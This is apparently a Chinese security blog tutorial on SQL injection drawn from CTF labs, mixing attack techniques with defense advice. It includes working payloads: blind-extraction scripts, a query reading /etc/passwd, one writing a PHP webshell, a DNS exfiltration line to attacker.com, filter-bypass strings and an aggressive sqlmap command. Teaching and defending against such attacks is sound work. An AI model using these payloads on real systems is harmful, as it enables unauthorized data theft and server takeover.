1. SQL注入攻防实战：从基础到高级技巧全解析
作为一名长期从事Web安全研究的从业者，我经常在各种CTF比赛和实际渗透测试中遇到SQL注入漏洞。今天我将分享几个典型场景下的SQL注入实战案例，包含宽字节注入、Base64编码参数注入、联合查询注入、报错注入以及文件读取等高级技巧。这些案例都来自真实的靶场环境，每个技巧都经过我多次实战验证。
2. 宽字节注入原理与实战
2.1 GBK编码环境下的注入突破
在GBK编码的网站中，当开发者使用addslashes或类似函数对单引号进行转义时（将'变为'），我们可以利用宽字节特性绕过过滤。原理是GBK编码中两个字节代表一个汉字，当%df遇到转义符\（编码为%5c）时，会组合成%df%5c，这恰好是一个合法的GBK字符"運"。
sql复制admin %df%27 or 1=1#
这条payload中：
- %df%27会被解析为一个整体字符
- 单引号因此未被转义
- 后续的or 1=1实现永真条件
关键点：这种注入方式仅在使用GBK/GB2312编码且未正确设置mysql_set_charset的PHP环境中有效。现代框架通常已修复此问题。
2.2 防御方案
开发者应做到：
- 统一使用UTF-8编码
- 使用PDO预处理语句
- 设置正确的连接字符集：
php复制$db->set_charset('gbk');
3. Base64编码参数注入
3.1 绕过编码层过滤
某些系统会对输入参数进行Base64编码后存储，这看似增加了注入难度，实则可能引入新的漏洞。关键是要构造能够被正确解码的payload。
python复制def encode_base64(payload):
payload_bytes = payload.encode('utf-8')
base64_bytes = base64.b64encode(payload_bytes)
return base64_bytes.decode('utf-8')
3.2 布尔盲注实战
当系统不返回详细错误信息时，布尔盲注是有效手段。通过条件判断逐个字符爆破数据：
sql复制zhangsan' and ascii(substr((select group_concat(flag) from flag),1,1))=102#
这个payload通过判断第一个字符的ASCII码是否为102（字母f）来获取信息。我编写了自动化脚本实现二分法快速爆破：
python复制def binary_search_database_name():
database_name = ""
position = 1
while True:
low = 32
high = 126
found_char = None
while low <= high:
mid = (low + high) // 2
payload = f"admin' and ascii(substr((select group_concat(flag) from flag),{position},1))>={mid} and '1'='1"
condition_result = check_condition(payload)
if condition_result:
low = mid + 1
else:
high = mid - 1
time.sleep(0.3)
if high < 32:
break
current_char = chr(high)
database_name += current_char
position += 1
return database_name
效率提示：二分法平均7次请求可确定一个字符（2^7=128），比暴力枚举快得多。
4. 联合查询注入的实战技巧
4.1 确定注入点类型
通过简单测试判断注入类型：
- 数字型：
1 and 1=1正常，1 and 1=2异常 - 字符型：需要闭合引号
4.2 获取回显位
关键步骤：
- 确定列数：
1 group by 5# - 查找回显位：
1 union select 1,2,3,4,5# - 利用回显位获取数据：
1 union select (select flag from flag),2,3,4,5#
常见问题：UNION前后查询列数必须一致，否则会报错。
5. 文件读取与Getshell技术
5.1 利用load_file读取文件
当有文件读取权限时（需要FILE权限且secure_file_priv为空）：
sql复制admin' union select 1,(load_file('/etc/passwd')),3,4,5#
5.2 写入Webshell的条件
需要同时满足：
- 知道网站绝对路径
- 有写权限
- secure_file_priv允许
sql复制admin' union select 1,"<?php system($_GET['cmd']);?>",3,4,5 into outfile '/var/www/html/shell.php'#
风险提示：实际渗透中需获得授权，未经授权的测试可能违法。
6. 过滤绕过高级技巧
6.1 空格和注释符被过滤
替代方案：
- 用括号代替空格：
select(database()) - 用
||'1'='1代替注释符
sql复制zhangsan'||updatexml(1,concat(0x7e,(seLect(database())),0x7e),3)||'1'='1
6.2 关键字过滤绕过方法
- 大小写混合：
SeLeCt - 内联注释：
/*!select*/ - 编码混淆：
char(115,101,108,101,99,116)表示select - 等价函数替换：
mid代替substr
7. 防御SQL注入的最佳实践
根据OWASP Top 10建议：
-
使用参数化查询（预处理语句）
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); -
最小权限原则：数据库账户只赋予必要权限
-
输入验证：
- 白名单验证（针对数字、枚举值等）
- 类型强制转换：
(int)$_GET['id']
-
安全配置：
ini复制; php.ini配置 magic_quotes_gpc = Off display_errors = Off -
Web应用防火墙（WAF）规则示例：
nginx复制location / { ModSecurityEnabled on; ModSecurityConfig modsecurity.conf; }
8. 自动化工具与手动注入的平衡
虽然sqlmap等工具效率高，但手动注入有助于深入理解原理。建议：
- 简单注入点使用工具快速验证
- 复杂过滤环境手动分析绕过
- 关键业务系统使用混合模式
工具使用示例：
bash复制sqlmap -u "http://example.com?id=1" --risk=3 --level=5 --batch
经验之谈：实际CTF比赛中，约60%的SQL注入题需要手动调整payload才能成功。
9. 实战中的疑难问题解决
9.1 无回显场景处理
当没有明显回显时，可采用：
- 时间盲注：
1' and sleep(5)# - DNS外带：
load_file(concat('\\\\',(select database()),'.attacker.com\\test')) - 错误回显：
exp(~(select*from(select user())x))
9.2 性能优化技巧
- 使用
limit 1减少数据量 - 优先获取长度再爆破内容：
sql复制and length(database())=4 - 缓存响应结果避免重复请求
10. 从攻击者视角看防御
通过分析攻击手法，我们可以强化防御：
- 错误信息处理：统一返回模糊错误
- 输入检测：识别常见SQL关键字
- 速率限制：防止暴力破解
- 二次验证：敏感操作需确认
最后提醒：所有技术都应在合法授权范围内使用，本文仅用于安全研究目的。在实际项目中，我建议采用SDL（安全开发生命周期）流程，从需求阶段就考虑安全因素，比事后修补更有效。